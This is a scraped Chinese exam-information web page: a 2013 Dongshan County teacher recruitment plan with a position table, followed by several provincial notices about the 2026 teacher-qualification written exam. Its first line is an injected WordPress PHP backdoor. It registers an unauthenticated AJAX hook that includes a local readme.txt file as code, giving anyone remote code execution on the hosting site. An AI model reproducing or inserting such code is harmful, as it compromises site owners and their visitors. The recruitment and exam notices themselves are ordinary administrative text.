if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
福建省东山县2013年公开招聘新任教师方案-全国教师资格考试网

福建省东山县2013年公开招聘新任教师方案

  为优化我县教师队伍结构,提高教师队伍整体素质,经研究,决定面向社会公开考试择优聘用中小学、特教、幼儿园新任教师26名,有关事项如下:

  一、招聘条件

  1、具有中华人民共和国国籍。

  2、遵守中华人民共和国宪法、法律、法规。

  3、具有良好的品行。

  4、具有适应职位要求的身体条件。

  5、18周岁以上,30周岁以下(即在1995年4月1日至1983年4月1日期间出生)。对年龄条件有特殊要求的,以《职位条件一览表》中要求的年龄为准。

  6、具备符合职位要求的文化程度和工作能力。所有报考者的毕业证书及相关证书必须在2013年8月15日前取得。

  7、2013年4月1日前常住户口在我市和市外高校漳州生源的2013年应届毕业生,为本市报考者。2013年漳州市内高校市外生源应届毕业生参加报考的,视同“漳州生源或漳州户籍”。

  8、具备报考职位所要求的其他资格条件(见附表)。

  9、下列人员不得报名:曾因犯罪受过刑事处罚的人员和曾被开除公职的人员,在各级公务员、事业单位招考中被认定有舞弊等严重违反录用纪律行为的人员,现役军人,在读的非应届毕业生,以及法律规定不得录用为事业单位工作人员的其他情形人员。考生不得报考招聘后即构成应回避关系的招考职位。

  二、报名方式和要求

  本次考试报名采取网上报名的方式进行。

  1、网上提交个人信息及报名:报考人员于4月1日至4月10日登录网址www.eeafj.cn的“教师招考”模块进行网上报名和缴费, 如实、完整、准确地提交个人信息及一张二寸近期正面免冠彩色数码证件照(jpg格式,规格200K以下)。网上报名系统将于报名时间结束时自动关闭,逾期未提交合格照片的报考者将无法打印准考证。

  报考人员报名时须认真阅读各职位招聘资格条件,确认自己符合拟报职位条件方可报名,并须对本人的报名资格及所提供材料的真实性负责。凡个人填报信息失真,不符合报考条件和职位要求的,一经核实,立即取消其面试资格或聘用资格。

  报考人员所留的联系方式应准确无误,保持畅通。

  2、资格审核:资格初审时间为4月1日8:30—4月10日24:00。资格初审由县教育局负责。进入面试和考核阶段时,县公务员局或教育局将对报考者的资格条件进行复核,资格条件的最终确认以复核为准。考生资格审核须提供如下材料:

  本人有效身份证、户口簿、毕业证书、教师资格证书、报到证(未领取报到证的应届毕业生可提供就业推荐表)、就业协议书,一寸近期免冠同底版照片2张。以上材料均须提供原件和复印件。

  3、网上缴费:报考者通过网上报名资格审核后,应通过建设银行及时缴交报名费80元(考生须在缴费前事先办理开通网上支付功能)。具体业务可咨询:建设银行客户服务热线95533。

  4、实际报名人数与职位拟招聘人数比例原则上应达3:1以上方可开考。达不到比例的,相应减少该职位拟招聘人数,或经批准适当降低比例要求,或取消该职位的招聘。

  三、考试

  考试包括笔试和面试。

  (一)笔试

  1、笔试时间:2013年4月20日。具体时间、地点在准考证上明确。

  2、笔试内容:教育综合知识考试和专业知识考试两部分。教育综合知识考试的主要内容为时事政治、师德规范、教育法律法规、教育学和心理学基础知识、新课程理念等;专业知识考试的主要内容为相应学科的专业主干知识、教材教法(包含新课程理念与教学方式的应用)等。教育综合知识考试占笔试成绩的40%,专业知识考试占笔试成绩的60%。

  笔试成绩满分为150分, 75分以上为合格。

  3、加分事宜。退役运动员、退役士兵、服务基层项目(包括“三支一扶”、“志愿服务欠发达地区计划”、“志愿服务西部计划”等)期满考核合格的高校毕业生可享有笔试成绩加分待遇。其中退役运动员、退役士兵的加分条件和标准按照闽人发[2006]10号执行,“三支一扶”的加分条件和标准按照闽委办[2006]73号执行, “志愿服务西部”和“志愿服务欠发达地区”的加分条件和标准按照团闽委联 [2007]7号执行。

  5月10日省公布笔试成绩。符合加分条件的考生,应在笔试成绩公布后5个工作日内将有关加分证明材料提交县教育局人事股审核,逾期按不加分处理。

  (二)面试

  1.面试对象:按笔试成绩(含加分)从高分到低分,以招考职位数1:3的比例确定面试对象,达不到1:3的按实有人数确定面试对象。面试弃权的空额按笔试成绩(含加分)从高分到低分依序递补。笔试成绩(含加分)相同的,以专业知识考试成绩高分为先。

  2.面试内容为相应学科的专业知识。面试成绩满分为150分,75分以上为合格。面试对象与招考计划数为1:1的,面试成绩90分以上为合格。

  3.面试前,面试考生须提供本人身份证和准考证的原件等材料。进入面试的考生应在面试前2天及时与县教育局人事股联系。在面试规定时间未到考场的考生视为自动放弃面试资格。

  4、报考中小学、特教岗位的面试成绩分合格和不合格,笔试成绩(含加分)和面试成绩都合格的,考试总成绩按笔试成绩(含加分)计算。报考幼儿园岗位的考试总成绩按笔试成绩(含加分)和面试成绩6:4的比例计算。

  5、面试工作由县教育局和公务员局组织,面试时间、地点、内容及其他具体要求另行通知。

  四、体检

  1、按考试总成绩从高分到低分,以职位拟招聘人数1:1比例确定体检对象。如遇总成绩相同时,以笔试成绩(不含加分)高者确定体检对象;如笔试成绩再相同,以专业知识考试成绩高者确定体检对象。

  2、体检工作由县教育局负责组织。体检依照《福建省教师资格申请人员体检标准及办法》执行。

  3.报考者对体检结果有疑问的,可在得知体检结果的7天内提出复检。复检只能进行一次,以复检结果为准。凡在体检中弄虚作假或者隐瞒真实情况的报考者,取消聘用。体检缺席者,取消聘用资格。

  五、考核

  1、体检合格的考生为考核对象,考核工作由县教育局和县公务员局负责。

  2、考核内容主要包括报考者的政治思想、道德品质、遵纪守法、廉洁自律、能力素质、工作态度、学习及工作表现以及是否需要回避等方面的情况。

  3、体检或考核不合格及放弃聘用资格所空缺的职位,按总成绩排名顺序依次递补。

  六、聘用

  对拟聘用人员按规定进行公示,公示时间为7个工作日。经公示结果不影响聘用的,按考试总成绩从高分到低分依序进行选岗,办理聘用手续,纳入编制管理,享受事业单位在编人员的有关待遇。新聘人员实行一年试用期,试用期满由用人单位及主管部门组织考核,考核不合格的,取消聘用资格。

  七、其他

  1、2011年省下派到我县“三支一扶”服务期满的支教高校毕业生,经体检、考核合格,免于考试给予聘用。

  2、本方案由东山县教育局负责解释。

  3、本次招聘对象最低服务年限5年。

  4、未尽事宜按《中共漳州市委办公室、漳州市人民政府办公室关于印发〈漳州市市直事业单位招聘人员暂行办法〉的通知》(漳委办发[2006]24号)文件执行。

  5、咨询电话:0596-5889391,监督电话0596-5880468。

  附:《2013年东山县公开招聘中小学、特教、幼儿园新任教师职位条件一览表》

   东山县教育局  东山县公务员局

   2013年3月15日

2013年东山县公开招聘中小学、特教、幼儿园教师职位条件一览表

序号

招聘单位

招聘职位

经费 来源

招聘人数

职 位 条 件

备注

性别

年龄

学历

学历

类别

专 业

教师

资格

面向 范围

1

东山县教育局

中学语文教师

全额拨款

1

不限

30周岁以下

本科及以上

全日制师范类

语文教育或中国语言文学类

高中教师资格

漳州市

 

2

东山县教育局

中学英语教师

全额拨款

1

不限

30周岁以下

本科及以上

全日制师范类

英语教育或英语

高中教师资格

漳州市

 

3

东山县教育局

中学生物教师

全额拨款

1

不限

30周岁以下

本科及以上

全日制师范类

生物教育或生物

高中教师资格

漳州市

 

4

东山县教育局

中学化学教师

全额拨款

2

不限

30周岁以下

本科及以上

全日制师范类

化学教育或化学

高中教师资格

漳州市

 

5

东山县教育局

中学物理教师

全额拨款

2

不限

30周岁以下

本科及以上

全日制师范类

物理教育或物理

高中教师资格

漳州市

 

6

东山县教育局

中学政治

教师

全额拨款

1

不限

30周岁以下

本科及以上

全日制师范类

思想政治教育、政史教育或政治学

高中教师资格

漳州市

 

7

东山县教育局

中学历史

教师

全额拨款

1

不限

30周岁以下

本科及以上

全日制师范类

历史教育或历史学

高中教师资格

漳州市

 

8

东山县教育局

中学地理

教师

全额拨款

1

不限

30周岁以下

本科及以上

全日制师范类

地理教育或地理学

高中教师资格

漳州市

 

9

东山县教育局

中学音乐

教师

全额拨款

1

不限

30周岁以下

本科及以上

全日制师范类

音乐教育或音乐学

高中教师资格

漳州市

 

10

东山县教育局

中学心理

健康教师

全额拨款

1

不限

30周岁以下

本科及以上

全日制师范类

心理咨询与心理健康教育或应用心理学

高中教师资格

漳州市

 

11

东山县教育局

小学音乐

教师

全额拨款

3

不限

30周岁以下

专科及以上

全日制师范类

音乐教育或音乐学

小学教师资格及以上

漳州市

其中1名用于免试聘用2011年省下派到我县“三支一扶”支教期满考核合格的支教人员

12

东山县教育局

小学美术

教师

全额拨款

1

不限

30周岁以下

专科及以上

全日制师范类

美术教育或美术学

小学教师资格及以上

漳州市

 

13

东山县教育局

特教教师

全额拨款

2

不限

30周岁以下

专科及以上

全日制师范类

特教专业

幼儿园教师资格及以上

不限

 

14

东山县教育局

幼儿园教师

全额拨款

8

女性

28周岁以下

专科及以上

全日制师范类

幼儿教育、学前教育

幼儿园教师资格

不限

 

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部